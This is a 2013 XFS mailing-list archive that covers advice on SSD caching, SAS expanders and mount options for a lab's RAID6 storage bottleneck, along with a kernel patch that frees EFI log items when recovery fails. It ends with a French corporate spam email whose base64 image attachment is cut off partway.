> =C2=A0This works, but I have not found a way to do it automatically. > =C2=A0Thankfully, with a 12 member lab, it is actually not terribly co= mplex to
> handle, but I would definitely prefer a more comprehensive solution. = =C2=A0I
> don't doubt that the huge IO and seek demands we put on these disk= s will
> cause more problems in the future.

Your LSI 9260 controller supports using SSDs for read/write flash cac= he.
=C2=A0LSI charges $279 for it. =C2=A0It's called CacheCade Pro:

http://www.lsi.com/products/raid= -controllers/pages/megaraid-cachecade-pro-software.aspx.


Connect two good quality fast SSDs to the controller, such as:
http://www.newegg.com/Product/Product.aspx?Item=3DN82E= 16820147192

Two SSDs, mirrored, to prevent cached writes from being lost if a single SSD fails. =C2=A0You now have a ~90K IOPS, 128GB, 500MB/s low latency
read/write cache in front of your RAID6 array. =C2=A0This should go a long<= br> way toward eliminating your bottlenecks. =C2=A0You can accomplish this for<= br> ~$550 assuming you have two backplane drive slots free for the SSDs. =C2=A0= If
not, you add one of these for $279:

http://www.newegg.com/Product/Product.aspx?Item=3DN82E= 16816117207

This is an Intel 24 port SAS expander, the same device as in your drive
backplane. =C2=A0SAS expanders can be daisy chained many deep. =C2=A0You ca= n drop
it into a PCIe x4 or greater slot from which it only draws power--no
data pins are connected. =C2=A0Or if no slots are available you can mount i= t
to the side wall of your rack server chassis and power it via the 4 pin
Molex plug. =C2=A0This requires a drill, brass or plastic standoffs, and DI= Y
skills. =C2=A0I use this option as it provides a solid mount for un/pluggin= g
the SAS cables, and being side mounted neither it nor the cables
interfere with airflow.

You'll plug the 9260-4i into one port of the Intel expander. =C2=A0You&= #39;ll
need another SFF-8087 cable for this:

http://www.newegg.com/Product/Product.aspx?Item=3DN82E= 16812652015

You will plug your drive backplane cable into another of the 6 SFF-8087
ports on the Intel. =C2=A0Into a 3rd port you will plug an SFF-8087 breakou= t
cable to give you 4 individual drive connections. =C2=A0You will plug two o= f
these into your two SSDs.

http://www.newegg.com/Product/Product.aspx?Item=3DN82E= 16816116097

If you have no internal 2.5/3.5" drive brackets free for the SSDs and<= br> you'd prefer not to drill (more) holes in the chassis to directly mount=
them or a new cage for them, simply use some heavy duty Velcro squares,
2" is fine.

Worst case scenario you're looking at less than $1000 to cure your IO bottlenecks, or at the very least mitigate them to a minor annoyance
instead of a show stopper. =C2=A0And if you free up some money for some
external JBODs and drives in the future, you can route 2 of the unused
SFF-8087 connectors of the Intel Expander out the back panel to attach
expander JBOD enclosures, using one of these and 2 more of the 8087
cables up above:

ht= tp://www.ebay.com/itm/8-Port-SAS-SATA-6G-Dual-SFF-8088-mini-SAS-to-SFF-8087= -PCIe-Adapter-w-LP-Bracket-/390508767029

I'm sure someone makes a 3 port model but 10 minutes of searching didn&= #39;t
turn one up. =C2=A0These panel adapters are application specific. =C2=A0Mos= t are
made to be mounted in a disk enclosure where the HBA/RAID card is on the outside of the chassis, on the other end of the 8088 cable. =C2=A0This two<= br> port model is designed to be inside a server chassis, where the HBA
connects to the internal 8087 ports. =C2=A0Think Ethernet x-over cable.

The 9260-4i supports up to 128 drives. =C2=A0This Intel expander and a pane= l
connector allow you to get there with external JBODs. =C2=A0The only caveat=
being that you're limited to "only" 4.8 GB/s to/from all the = disks.

--
Stan

Hi St= an,

Th= anks for the great advice, I think you are on to something there. =C2=A0I w= ill look into doing this in the next week or so when I have more time. =C2= =A0I added 'nobarrier' to my mount options.

Thanks agai= n, I will let you know how it goes after I have upgraded.

Best,

Mike
--001a11c3ce549b4a2504ecf60d8d-- From tinguely@eagdhcp-232-151.americas.sgi.com Sat Dec 7 19:26:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3088A7F7D for ; Sat, 7 Dec 2013 19:26:19 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 005D88F8050 for ; Sat, 7 Dec 2013 17:26:18 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id rB81QIuC001991 for ; Sat, 7 Dec 2013 19:26:18 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id rB81QIgD001990; Sat, 7 Dec 2013 19:26:18 -0600 (CST) (envelope-from tinguely) Message-Id: <20131208005224.696001432@sgi.com> User-Agent: quilt/0.51-1 Date: Sat, 07 Dec 2013 18:52:12 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v3] xfs: free the efi AIL entry on log recovery failure References: <20131206212037.560711585@sgi.com> Content-Disposition: inline; filename=v3-xfs-remove-efi-entry-before-log-unmount.patch If an extent free fails during recovery, the filesystem will be forced down. The efi entry is still on the AIL and the log shutdown function xfs_ail_push_all_sync() will hang. This patch is similar to the patches that removed the dquot and inode in commits 32ce90a and dea9609 but removes all the EFI entries from the AIL. Signed-off-by: Mark Tinguely --- v3 (Augh - where is my head?) only remove efi items on error. v2 remove all the EFIs from the AIL rather than the current entry per Dave's suggestion. move the cleaning routine to caller. fs/xfs/xfs_log_recover.c | 36 ++++++++++++++++++++++++------------ 1 file changed, 24 insertions(+), 12 deletions(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3635,11 +3635,11 @@ xlog_recover_process_data( */ STATIC int xlog_recover_process_efi( - xfs_mount_t *mp, - xfs_efi_log_item_t *efip) + struct xfs_mount *mp, + struct xfs_efi_log_item *efip) { - xfs_efd_log_item_t *efdp; - xfs_trans_t *tp; + struct xfs_efd_log_item *efdp; + struct xfs_trans *tp; int i; int error = 0; xfs_extent_t *extp; @@ -3660,12 +3660,7 @@ xlog_recover_process_efi( (extp->ext_len == 0) || (startblock_fsb >= mp->m_sb.sb_dblocks) || (extp->ext_len >= mp->m_sb.sb_agblocks)) { - /* - * This will pull the EFI from the AIL and - * free the memory associated with it. - */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - xfs_efi_release(efip, efip->efi_format.efi_nextents); + /* The caller will free all efi entries on error. */ return XFS_ERROR(EIO); } } @@ -3691,6 +3686,7 @@ xlog_recover_process_efi( abort_error: xfs_trans_cancel(tp, XFS_TRANS_ABORT); + /* The caller will free all efi entries on error. */ return error; } @@ -3716,8 +3712,8 @@ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; int error = 0; struct xfs_ail_cursor cur; struct xfs_ail *ailp; @@ -3756,7 +3752,23 @@ xlog_recover_process_efis( } out: xfs_trans_ail_cursor_done(ailp, &cur); + lip = xfs_ail_min(ailp); spin_unlock(&ailp->xa_lock); + if (!error) + return 0; + + /* Free all the EFI from the AIL upon error */ + while (lip) { + if (lip->li_type == XFS_LI_EFI) { + efip = (xfs_efi_log_item_t *)lip; + if (!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); + xfs_efi_release(efip, efip->efi_format.efi_nextents); + } + spin_lock(&ailp->xa_lock); + lip = xfs_ail_min(ailp); + spin_unlock(&ailp->xa_lock); + } return error; } From stan@hardwarefreak.com Sat Dec 7 23:22:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 78E247F80 for ; Sat, 7 Dec 2013 23:22:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B8998F8039 for ; Sat, 7 Dec 2013 21:22:22 -0800 (PST) X-ASG-Debug-ID: 1386480129-04bdf0131becb00001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id jXvMen9sZzu1Iart for ; Sat, 07 Dec 2013 21:22:11 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 827556C15B; Sat, 7 Dec 2013 23:22:08 -0600 (CST) Message-ID: <52A401FF.9050506@hardwarefreak.com> Date: Sat, 07 Dec 2013 23:22:07 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Mike Dacre CC: "xfs@oss.sgi.com" Subject: Re: Fwd: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> X-ASG-Orig-Subj: Re: Fwd: Sudden File System Corruption In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386480131 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/7/2013 12:36 PM, Mike Dacre wrote: > On Sat, Dec 7, 2013 at 3:12 AM, Stan Hoeppner wrote: > >> On 12/6/2013 4:14 PM, Mike Dacre wrote: >>> On Fri, Dec 6, 2013 at 12:58 AM, Stan Hoeppner >> wrote: >> ... >>> UUID=a58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science xfs >>> defaults,inode64 1 0 >> >> Your RAID card has persistent write cache (BBWC) and we know it's >> enabled from tool your output. By default XFS assumes BBWC is not >> present, and uses write barriers to ensure order/consistency. Using >> barriers on top of BBWC will be detrimental to write performance, for a >> couple of reasons: >> >> 1. Prevents the controller from optimizing writeback patterns >> 2. A portion, or all of, the write cache is frequently flushed >> >> Add 'nobarrier' to your mount options to avoid this problem. It should >> speed up many, if not all, write operations considerably, which will in >> turn decrease seek contention amongst jobs. Currently your write cache >> isn't working nearly as well as it should, and in fact could be >> operating horribly. >> >>> On the slave nodes, I managed to reduce the demand on the disks by adding >>> the actimeo=60 mount option. Prior to doing this I would sometimes see >> the >>> disk being negatively affected by enormous numbers of getattr requests. >>> Here is the fstab mount on the nodes: >>> >>> 192.168.2.1:/science /science nfs >>> defaults,vers=3,nofail,actimeo=60,bg,hard,intr,rw 0 0 >> >> One minute attribute cache lifetime seems maybe a little high for a >> compute cluster. But if you've had no ill effects and it squelched the >> getattr flood this is good. >> >> ... >>> Correct, I am not consciously aligning the XFS to the RAID geometry, I >>> actually didn't know that was possible. >> >> XFS alignment is not something to worry about in this case. >> >> ... >>>> So it's a small compute cluster using NFS over Infiniband for shared >>>> file access to a low performance RAID6 array. The IO resource sharing >>>> is automatic. But AFAIK there's no easy way to enforce IO quotas on >>>> users or processes, if at all. You may simply not have sufficient IO to >>>> go around. Let's ponder that. >>> >>> I have tried a few things to improve IO allocation. BetterLinux have a >>> cgroup control suite that allow on-the-fly user-level IO adjustments, >>> however I found them to be quite cumbersome. >> >> This isn't going to work well because a tiny IO stream can seek the >> disks to death, such as a complex find command, ls -R, etc. A single >> command such as these can generate thousands of seeks. Shaping/limiting >> user IO won't affect this. >> >> ... >>>> Looking at the math, you currently have approximately 14*150=2100 >>>> seeks/sec capability with 14x 7.2k RPM data spindles. That's less than >>>> 100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of >>>> the performance of a single SATA disk from this array. This simply >>>> isn't sufficient for servicing a 23 node cluster, unless all workloads >>>> are compute bound, and none IO/seek bound. Given the overload/crash >>>> that brought you to our attention, I'd say some of your workloads are >>>> obviously IO/seek bound. I'd say you probably need more/faster disks. >>>> Or you need to identify which jobs are IO/seek heavy and schedule them >>>> so they're not running concurrently. >>> >>> Yes, this is a problem. We sadly lack the resources to do much better >> than >>> this, we have recently been adding extra storage by just chaining >> together >>> USB3 drives with RAID and LVM... which is cumbersome and slow, but >> cheaper. >> >> USB disk is generally a recipe for disaster. Plenty of horror stories >> on both this list and linux-raid regarding USB connected drives, >> enclosures, etc. I pray you don't run into those problems. >> >>> My current solution is to be on the alert for high IO jobs, and to move >>> them to a specific torque queue that limits the number of concurrent >> jobs. >>> This works, but I have not found a way to do it automatically. >>> Thankfully, with a 12 member lab, it is actually not terribly complex to >>> handle, but I would definitely prefer a more comprehensive solution. I >>> don't doubt that the huge IO and seek demands we put on these disks will >>> cause more problems in the future. >> >> Your LSI 9260 controller supports using SSDs for read/write flash cache. >> LSI charges $279 for it. It's called CacheCade Pro: >> >> >> http://www.lsi.com/products/raid-controllers/pages/megaraid-cachecade-pro-software.aspx >> . >> >> >> Connect two good quality fast SSDs to the controller, such as: >> http://www.newegg.com/Product/Product.aspx?Item=N82E16820147192 >> >> Two SSDs, mirrored, to prevent cached writes from being lost if a single >> SSD fails. You now have a ~90K IOPS, 128GB, 500MB/s low latency >> read/write cache in front of your RAID6 array. This should go a long >> way toward eliminating your bottlenecks. You can accomplish this for >> ~$550 assuming you have two backplane drive slots free for the SSDs. If >> not, you add one of these for $279: >> >> http://www.newegg.com/Product/Product.aspx?Item=N82E16816117207 >> >> This is an Intel 24 port SAS expander, the same device as in your drive >> backplane. SAS expanders can be daisy chained many deep. You can drop >> it into a PCIe x4 or greater slot from which it only draws power--no >> data pins are connected. Or if no slots are available you can mount it >> to the side wall of your rack server chassis and power it via the 4 pin >> Molex plug. This requires a drill, brass or plastic standoffs, and DIY >> skills. I use this option as it provides a solid mount for un/plugging >> the SAS cables, and being side mounted neither it nor the cables >> interfere with airflow. >> >> You'll plug the 9260-4i into one port of the Intel expander. You'll >> need another SFF-8087 cable for this: >> >> http://www.newegg.com/Product/Product.aspx?Item=N82E16812652015 >> >> You will plug your drive backplane cable into another of the 6 SFF-8087 >> ports on the Intel. Into a 3rd port you will plug an SFF-8087 breakout >> cable to give you 4 individual drive connections. You will plug two of >> these into your two SSDs. >> >> http://www.newegg.com/Product/Product.aspx?Item=N82E16816116097 >> >> If you have no internal 2.5/3.5" drive brackets free for the SSDs and >> you'd prefer not to drill (more) holes in the chassis to directly mount >> them or a new cage for them, simply use some heavy duty Velcro squares, >> 2" is fine. >> >> Worst case scenario you're looking at less than $1000 to cure your IO >> bottlenecks, or at the very least mitigate them to a minor annoyance >> instead of a show stopper. And if you free up some money for some >> external JBODs and drives in the future, you can route 2 of the unused >> SFF-8087 connectors of the Intel Expander out the back panel to attach >> expander JBOD enclosures, using one of these and 2 more of the 8087 >> cables up above: >> >> >> http://www.ebay.com/itm/8-Port-SAS-SATA-6G-Dual-SFF-8088-mini-SAS-to-SFF-8087-PCIe-Adapter-w-LP-Bracket-/390508767029 >> >> I'm sure someone makes a 3 port model but 10 minutes of searching didn't >> turn one up. These panel adapters are application specific. Most are >> made to be mounted in a disk enclosure where the HBA/RAID card is on the >> outside of the chassis, on the other end of the 8088 cable. This two >> port model is designed to be inside a server chassis, where the HBA >> connects to the internal 8087 ports. Think Ethernet x-over cable. >> >> The 9260-4i supports up to 128 drives. This Intel expander and a panel >> connector allow you to get there with external JBODs. The only caveat >> being that you're limited to "only" 4.8 GB/s to/from all the disks. >> >> -- >> Stan >> > > Hi Stan, > > Thanks for the great advice, I think you are on to something there. I will You're welcome. Full disclosure: I should have mentioned that I haven't used CacheCade yet myself. My statements WRT performance are based on available literature and understanding of the technology. That said, considering the 9260-4i is $439 MSRP and the key to unlock the CacheCade feature in the firmware is $279, well more than half the price of the RAID card, LSI obviously feels there is serious performance value in this feature. If there wasn't the price of CacheCade would be much lower. > look into doing this in the next week or so when I have more time. I added > 'nobarrier' to my mount options. Just be sure to remount the filesystem so this option becomes active. Apologies for stating the obvious, but many people forget this step. > Thanks again, I will let you know how it goes after I have upgraded. I'd evaluate the impact of the noop elevator and nobarrier before spending on SSD caching. It may turn out you don't need it, yet. But yes, either way, it would be great to be kept abreast of your progress. If you do implement CacheCade I'm sure a wider audience would be interested in reading of your experience with it. There are probably more than a few users on this list who have LSI gear. -- Stan From melanie+linux-xfs=oss.sgi.com@lncsa.com Sat Dec 7 23:55:13 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C02F7F85 for ; Sat, 7 Dec 2013 23:55:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 016D6304043 for ; Sat, 7 Dec 2013 21:55:09 -0800 (PST) X-ASG-Debug-ID: 1386482096-04cbb041695eef90001-w1Z2WR Received: from mailing-out-vty.lncsa.com (mailing-out-vty.lncsa.com [31.216.31.103]) by cuda.sgi.com with ESMTP id O0HRF6DFdz8fGF4L for ; Sat, 07 Dec 2013 21:54:56 -0800 (PST) X-Barracuda-Envelope-From: melanie+linux-xfs=oss.sgi.com@lncsa.com X-Barracuda-Apparent-Source-IP: 31.216.31.103 From: "Les Nouveaux Constructeurs" To: linux-xfs@oss.sgi.com Content-Type: multipart/related; boundary="1386479755.Bbd0DA2416356.1380"; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Subject: Nouveau sige social Les Nouveaux Constructeurs X-Mailer: Mutt/0.1 (2008-01-14) X-ASG-Orig-Subj: Nouveau sige social Les Nouveaux Constructeurs User-Agent: Mutt/0.1 (2008-01-14) Reply-To: melanie@lncsa.com X-Campagne: t/mailing/2013_12_04_demenagement/ Date: Sun, 8 Dec 2013 06:15:55 +0100 MIME-Version: 1.0 Message-Id: <20131208051556.0DD08147B2B@mailing-out-vty.lncsa.com> X-Barracuda-Connect: mailing-out-vty.lncsa.com[31.216.31.103] X-Barracuda-Start-Time: 1386482096 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --1386479755.Bbd0DA2416356.1380 Date: Sun, 8 Dec 2013 06:15:55 +0100 MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Les Nouveaux Constructeurs - Nouvelle adresse
Les Nouveaux Constructeurs - Nouvelle adresse dès le 2 décembre 2013
Retrouvez-nous sur notre site LNC.fr
English version English version
Pour ne plus recevoir de courriels de notre part, nous vous invitons à cliquer sur ce lien
--1386479755.Bbd0DA2416356.1380 Date: Sun, 8 Dec 2013 06:15:55 +0100 MIME-Version: 1.0 Content-Type: image/jpeg; name="emailing.jpg" Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <13863520861380931955> /9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QNtaHR0cDov L25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENl aGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4 OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6 MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5 OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHht bG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0i aHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1w PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9 InhtcC5kaWQ6OTg5NTQ4RTExNDRERTMxMTg4QThFRjY0N0IzRkIwM0QiIHhtcE1NOkRvY3VtZW50 SUQ9InhtcC5kaWQ6OTdFQjAzQkU1QzE5MTFFMzlDNTJDNUY0NENBOTUwQ0MiIHhtcE1NOkluc3Rh bmNlSUQ9InhtcC5paWQ6OTdFQjAzQkQ1QzE5MTFFMzlDNTJDNUY0NENBOTUwQ0MiIHhtcDpDcmVh dG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBXaW5kb3dzIj4gPHhtcE1NOkRlcml2ZWRGcm9t IHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NTE4OEIyOEIzNzUxRTMxMUI3MERGMkU3NEI1MjA3 NjAiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6OTg5NTQ4RTExNDRERTMxMTg4QThFRjY0N0Iz RkIwM0QiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBh 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 